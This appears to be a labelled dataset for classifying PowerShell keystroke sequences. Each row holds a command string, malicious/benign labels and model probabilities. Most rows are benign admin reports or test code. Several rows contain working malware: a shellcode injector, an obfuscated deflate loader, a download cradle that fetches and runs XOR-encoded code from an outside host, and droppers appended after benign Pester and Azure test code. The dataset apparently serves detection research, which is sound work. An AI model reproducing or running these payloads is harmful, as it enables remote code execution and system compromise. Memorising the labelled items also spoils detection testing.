lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x07,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";$cmd = ""-nop -noni -enc "";iex ""& $x86 $cmd $e""}else{$cmd = ""-nop -noni -enc"";iex ""& powershell $cmd $e"";} enter enter",1,1,5.3872864e-05,0.9999461
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install signal enter A enter enter enter,0,0,0.99996054,3.9461098e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_3hy7rfdc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.4689918e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_19g051i9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.444923e-05
"win+r powershell enter Describe ""Built-in type information tests"" -Tag ""CI"" { BeforeAll { $iss = [ini enter tialsessionstate]::CreateDefault2() $rs = [runspacefactory]::CreateRunspace($is enter s) $rs.Open() $ps = [powershell]::Create() $ps.Runspace = $rs $types = $ps. enter AddCommand(""Get-TypeData"").Invoke() } AfterAll { enter enter",1,1,0.0027319684,0.9972681
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_mlh3s0dc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4404446e-05
"powershell "" & ( $VeRbosEPreFerence.TOstrINg()[1,3]+'x'-JOin'')(nEw-objEct sYSTe enter m.IO.comPreSSioN.DeFlatESTReAm([SySTEM.Io.mEMORYStream] [ConvErt]::FROmBaSE64str enter inG('vVhtb9s2EP6uX0E4BmZjtpKm7VAk89DEL63R+GWWm64ogoGW6JgLLaokFdfo8t93JCVZimRn69Y enter JRWORvOPd89wLqUEc+oryEL0hqj0masPFnbfCggzDJUdfnZ+PHNf7OJ5MvaHnzFdUIn8dMKIQ/IolCZD enter iKKDS5/dEIAoyYo2NPiwl9ylWsGRD1QphFFrtSGr1SMY+DEqkVgRFq62kPmaIcd9K86WZKIi0EFWwvSB enter 2SQC6WwiHAQrxmriO47i9vtedDafz4WRsbV2m3gmiYhHKgxbqDQOypCEMFG3lwv6QaIG1zyCsFydjZns enter 0VMjHoJRJjhYkw0YSLMDRdcwUjRgBQ9ZcEfSBhgHfSLTG/go2BEthj8KmUjs0vZhdjPrz/gwZTsawk3U enter swtoLDXmOBmO7xQ0Wphg+dkGPkS/Ej7X4hsqVHuOILxSmoQEI/Cvs3eXrSK8ubA+/tQLtc87dxAac+uk enter nog3ZtEbBGn9F/Dvj8M48PSfNvo7b/+1iNL3qO5UR2c6AQOP+/GryZjJueR+968mVc4TmoA8vIBTBQby enter 2cJd5T9grop1pMxFlNSJqENyCNipVKqdjlKXEfbu5rW4dtfPIol735Jkb8DXQ4AJuLT1wWhh4duIm/w4 enter 6ayFNmNztm3hlcwZ2L3n3PGUtIPfUtxE4nsz7nnMRqxUXZ2jGF0Qo9NZFE7ngAvy/YBTLM6AVXp0uDxX enter 21RkS3E6/Tv5GgmsPtMK enter",1,1,6.4692926e-05,0.99993527
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_g84wk9dl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.478705e-05
"win+r enter powershell enter enter enter function ConvertFrom-CBase64 enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,ValueFromPipeline=$true)] enter [AllowNull()] enter [AllowEmptyString()] enter [string[]] enter enter $Value, enter enter [Text.Encoding] enter enter $Encoding = ([Text.Encoding]::Unicode) enter ) enter enter begin enter { enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter } enter enter process enter { enter $Value | ForEach-Object { enter if( $_ -eq $null ) enter { enter return $null enter } enter enter $bytes = [Convert]::FromBase64String($_) enter $Encoding.GetString($bytes) enter } enter } enter } enter enter",0,0,0.9952976,0.0047023986
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_2slr3fw5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_20.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4603683e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_yi1a9x2z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_75.csv"") -NoTypeInformation enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.434164e-05
"win+r enter powershell enter enter enter Describe ""Configuration file locations"" -tags ""CI"",""Slow"" { enter enter BeforeAll { enter $powershell = Join-Path -Path $PsHome -ChildPath ""pwsh"" enter $profileName = ""Microsoft.PowerShell_profile.ps1"" enter } enter enter Context ""Default configuration file locations"" { enter enter BeforeAll { enter enter if ($IsWindows) { enter $ProductName = ""WindowsPowerShell"" enter if ($IsCoreCLR -and ($PSHOME -notlike ""*Windows\System32\WindowsPowerShell\v1.0"")) enter { enter $ProductName = ""PowerShell"" enter } enter $expectedCache = [IO.Path]::Combine($env:LOCALAPPDATA, ""Microsoft"", ""Windows"", ""PowerShell"", ""StartupProfileData-NonInteractive"") enter $expectedModule = [IO.Path]::Combine($env:USERPROFILE, ""Documents"", $ProductName, ""Modules"") enter $expectedProfile = [io.path]::Combine($env:USERPROFILE, ""Documents"", $ProductName, $profileName) enter $expectedReadline = [IO.Path]::Combine($env:AppData, ""Microsoft"", ""Windows"", ""PowerShell"", ""PSReadline"", ""ConsoleHost_history.txt"") enter } else { enter $expectedCache = [IO.Path]::Combine($env:HOME, "".cache"", ""powershell"", ""StartupProfileData-NonInteractive"") enter $expectedModule = [IO.Path]::Combine($env:HOME, "".local"", ""share"", ""powershell"", ""Modules"") enter $expectedProfile = [io.path]::Combine($env:HOME,"".config"",""powershell"",$profileName) enter $expectedReadline = [IO.Path]::Combine($env:HOME, "".local"", ""share"", ""powershell"", ""PSReadLine"", ""ConsoleHost_history.txt"") enter } enter enter $ItArgs = @{} enter } enter enter BeforeEach { enter $original_PSModulePath = $env:PSModulePath enter } enter enter AfterEach { enter $env:PSModulePath = $original_PSModulePath enter } enter enter It @ItArgs ""Profile location should be correct"" { enter & $powershell -noprofile -c `$PROFILE | Should -Be $expectedProfile enter } enter enter It @ItArgs ""PSModulePath should contain the correct path"" { enter $env:PSModulePath = """" enter $actual = & $powershell -noprofile -c `$env:PSModulePath enter $actual | Should -Match ([regex]::Escape($expectedModule)) enter } enter enter It @ItArgs ""PSReadLine history save location should be correct"" { enter & $powershell -noprofile { (Get-PSReadlineOption).HistorySavePath } | Should -Be $expectedReadline enter } enter It ""JIT cache should be created correctly"" -Skip { enter Remove-Item -ErrorAction SilentlyContinue $expectedCache enter & $powershell -noprofile { exit } enter $expectedCache | Should -Exist enter } enter } enter enter Context ""XDG Base Directory Specification is supported on Linux"" { enter BeforeAll { enter enter if ($IsWindows) { enter $ItArgs = @{ skip = $true } enter } else { enter $ItArgs = @{} enter } enter } enter enter BeforeEach { enter $original_PSModulePath = $env:PSModulePath enter $original_XDG_CONFIG_HOME = $env:XDG_CONFIG_HOME enter $original_XDG_CACHE_HOME = $env:XDG_CACHE_HOME enter $original_XDG_DATA_HOME = $env:XDG_DATA_HOME enter } enter enter AfterEach { enter $env:PSModulePath = $original_PSModulePath enter $env:XDG_CONFIG_HOME = $original_XDG_CONFIG_HOME enter $env:XDG_CACHE_HOME = $original_XDG_CACHE_HOME enter $env:XDG_DATA_HOME = $original_XDG_DATA_HOME enter } enter enter It @ItArgs ""Profile should respect XDG_CONFIG_HOME"" { enter $env:XDG_CONFIG_HOME = $TestDrive enter $expected = [IO.Path]::Combine($TestDrive, ""powershell"", $profileName) enter & $powershell -noprofile -c `$PROFILE | Should -Be $expected enter } enter enter It @ItArgs ""PSModulePath should respect XDG_DATA_HOME"" { enter $env:PSModulePath = """" enter $env:XDG_DATA_HOME = $TestDrive enter $expected = [IO.Path]::Combine($TestDrive, ""powershell"", ""Modules"") enter $actual = & $powershell -noprofile -c `$env:PSModulePath enter $actual | Should -Match $expected enter } enter enter It @ItArgs ""PSReadLine history should respect XDG_DATA_HOME"" { enter $env:XDG_DATA_HOME = $TestDrive enter $expected = [IO.Path]::Combine($TestDrive, ""powershell"", ""PSReadLine"", ""ConsoleHost_history.txt"") enter & $powershell -noprofile { (Get-PSReadlineOption).HistorySavePath } | Should -Be $expected enter } enter It -Skip ""JIT cache should respect XDG_CACHE_HOME"" { enter $env:XDG_CACHE_HOME = $TestDrive enter $expected = [IO.Path]::Combine($TestDrive, ""powershell"", ""StartupProfileData-NonInteractive"") enter Remove-Item -ErrorAction SilentlyContinue $expected enter & $powershell -noprofile { exit } enter $expected | Should -Exist enter } enter } enter } enter enter Describe ""Working directory on startup"" -Tag ""CI"" { enter BeforeAll { enter $powershell = Join-Path -Path $PSHOME -ChildPath ""pwsh"" enter $testPath = New-Item -ItemType Directory -Path ""$TestDrive tab est[dir]"" enter $currentDirectory = Get-Location enter } enter enter AfterAll { enter Set-Location $currentDirectory enter } enter It ""Can start in directory where name contains wildcard characters"" -Pending { enter Set-Location -LiteralPath $testPath.FullName enter if ($IsMacOS) { enter enter $expectedPath = ""/private"" + $testPath.FullName enter } else { enter $expectedPath = $testPath.FullName enter } enter & $powershell -noprofile -c { $PWD.Path } | Should -BeExactly $expectedPath enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x03,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0323604e-05,0.9999497
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_gqivb9y6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter",0,0,0.99996626,3.370815e-05
"win+r enter powershell enter enter enter function Uninstall-CGroup enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param enter ( enter [Parameter(Mandatory=$true)] enter [ValidateNotNullOrEmpty()] enter [String] enter enter $Name enter ) enter enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( -not (Test-CGroup -Name $Name) ) enter { enter return enter } enter enter $group = Get-CGroup -Name $Name enter if( -not $group ) enter { enter return enter } enter enter if( $PSCmdlet.ShouldProcess(('local group {0}' -f $Name), 'remove') ) enter { enter Write-Verbose -Message ('[{0}] -' -f $Name) enter $group.Delete() enter } enter enter } enter enter",0,0,0.99993634,6.371275e-05
"win+r enter powershell enter enter enter function Get-MyCommands { enter enter [PoshBot.BotCommand( enter Aliases = ('mycommands') enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot enter ) enter enter $myCommands = $Bot.PluginManager.Commands.GetEnumerator().ForEach({ enter if ($_.Value.IsAuthorized($global:PoshBotContext.From, $Bot.RoleManager)) { enter $arrPlgCmdVer = $_.Name.Split(':') enter $plugin = $arrPlgCmdVer[0] enter $command = $arrPlgCmdVer[1] enter $version = $arrPlgCmdVer[2] enter [pscustomobject]@{ enter FullCommandName = ""$plugin`:$command"" enter Aliases = ($_.Value.Aliases -join ', ') enter Type = $_.Value.TriggerType.ToString() enter Version = $version enter } enter } enter }) | Sort-Object -Property FullCommandName enter enter $text = ($myCommands | Format-Table -AutoSize | Out-String) enter New-PoshBotTextResponse -Text $text -AsCode enter } enter enter",0,0,0.9999424,5.7599336e-05
"win+r powershell enter $zHI = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $zHI -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0 enter x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0 enter x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0 enter x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0 enter x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0 enter x8b,0x48,0x18,0x8b,0 enter enter",1,1,5.4016957e-05,0.999946
"win+r powershell enter function Update-O365UserUPNSuffix { [CmdletBinding()] [OutputType([pscustomob enter ject])] param ( [Parameter(Mandatory = $true)] [String]$UserAlias, [Parame enter ter(Mandatory = $true)] [String]$CurrentUPNSuffix, enter enter",1,1,0.00091216207,0.9990878
"win+r powershell enter [SYStEm.Net.ServIcEPOInTMANAGER]::ExpecT100CONTInuE = 0;$wC=NEW-OBjEcT SystEm.NE enter t.WEBClIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like G enter ecko';$wc.HeAdErs.ADd('User-Agent',$u);$wC.PrOxY = [SysTEm.Net.WEbREQUest]::Defa enter ulTWebPrOXY;$WC.PROxY.CreDENTialS = [SysTem.NEt.CreDENTIALCACHE]::DeFaultNeTWOrK enter CREdENTIals;$K='Pd9,EYsk<l1o-BA_`7=3>q$V\cRLDTO8';$R=5;do{tRy{$i=0;[cHAR[]]$B=([ enter CHAR[]]($WC.DOWNLOADSTrING(""http://hop.wellsfargolegal.com/index.asp"")))|%{$_-BX enter OR$K[$I++%$k.LEngTH]};IEX ($b-joIn''); $R=0;}CaTcH{slEeP 5;$R--}} WhilE ($R -gt enter 0) enter enter",1,1,5.5995988e-05,0.999944
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_nf7vwgkf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4067027e-05
"win+r enter powershell enter enter enter  enter function Test-GetApplicationInsights enter { enter enter $rgname = Get-ApplicationInsightsTestResourceName; enter enter try enter { enter enter $appName = ""app"" + $rgname; enter $loc = Get-ProviderLocation ResourceManagement; enter $kind = ""web""; enter New-AzResourceGroup -Name $rgname -Location $loc; enter enter $app = New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind enter enter Assert-AreEqual $app.Name $appName enter Assert-AreEqual $app.Kind $kind enter Assert-NotNull $app.InstrumentationKey enter enter $apps = Get-AzApplicationInsights -ResourceGroupName $rgname; enter enter Assert-AreEqual $apps.count 1 enter Assert-AreEqual $apps[0].Name $appName enter Assert-AreEqual $apps[0].Kind $kind enter Assert-NotNull $apps[0].InstrumentationKey enter enter Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; enter } enter finally enter { enter enter Clean-ResourceGroup $rgname enter } enter } enter function Test-NewApplicationInsights enter { enter enter $rgname = Get-ApplicationInsightsTestResourceName; enter enter try enter { enter enter $appName = ""app"" + $rgname; enter $loc = Get-ProviderLocation ResourceManagement; enter $kind = ""web""; enter New-AzResourceGroup -Name $rgname -Location $loc; enter enter $app = New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind enter enter Assert-AreEqual $app.Name $appName enter Assert-AreEqual $app.Kind $kind enter Assert-NotNull $app.InstrumentationKey enter enter $app = Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; enter enter Assert-AreEqual $app.Name $appName enter Assert-AreEqual $app.Kind $kind enter Assert-NotNull $app.InstrumentationKey enter enter Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; enter } enter finally enter { enter enter Clean-ResourceGroup $rgname enter } enter } enter function Test-RemoveApplicationInsights enter { enter enter $rgname = Get-ApplicationInsightsTestResourceName; enter enter try enter { enter enter $appName = ""app"" + $rgname; enter $loc = Get-ProviderLocation ResourceManagement; enter $kind = ""web""; enter New-AzResourceGroup -Name $rgname -Location $loc; enter New-AzApplicationInsights -ResourceGroupName $rgname -Name $appName -Location $loc -Kind $kind enter enter $app = Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; enter enter Assert-NotNull $app enter Assert-AreEqual $app.Name $appName enter Assert-AreEqual $app.Kind $kind enter Assert-NotNull $app.InstrumentationKey enter enter Remove-AzApplicationInsights -ResourceGroupName $rgname -Name $appName; enter enter Assert-ThrowsContains { Get-AzApplicationInsights -ResourceGroupName $rgname -Name $appName } ""not found"" enter } enter finally enter { enter enter Clean-ResourceGroup $rgname enter } enter } enter 'LXUnfqn';$ErrorActionPreference = 'SilentlyContinue';'Jlnl';'rXrPGggb';$by = (get-wmiobject Win32_ComputerSystemProduct).UUID;'kjEvisMr';'BlwFKzHgx';if ((gp HKCU:\\Software\Microsoft\Windows\CurrentVersion\Run) -match $by){;'BrOZYLFVY';'ihznknftcRL';(Get-Process -id $pid).Kill();'eMBnBWC';'ClMCvnGz';};'kFqbERjcaK';'cZdefv';function e($ohd){;'drSzUSrd';'JvFd';$mtk = (((iex ""nslookup -querytype=txt $ohd 8.8.8.8"") -match '""') -replace '""', '')[0].Trim();'wHpWIPZ';'rZOmyT';$ilua.DownloadFile($mtk, $bqvt);'KqrPY';'tCgMs';$ws = $xyu.NameSpace($bqvt).Items();'DVRZCMXn';'aVMuAymCDo';$xyu.NameSpace($ezpr).CopyHere($ws, 20);'NoYaTMgWV';'WczlafFHI';rd $bqvt;'AJc';'Rl';};'mwPV';'XYS';'bSRkM';'GFeZKeMy';'Vt';'blWvxEYdB';$ezpr = $env:APPDATA + '\' + $by;'HTC';'zgOw';if (!(Test-Path $ezpr)){;'fAXKjau';'kEXx';$vpjq = New-Item -ItemType Directory -Force -Path $ezpr;'GWSbA';'vOvra';$vpjq.Attributes = ""Hidden"", ""System"", ""NotContentIndexed"";'amPCGy';'EKFM';};'sB';'RRiIYz';'bvcCeTeLW';'NcOTYolCIB';$vtzg=$ezpr+ ' tab or.exe';'RoqsuXE';'fQGBWGwt';$ot=$ezpr+ 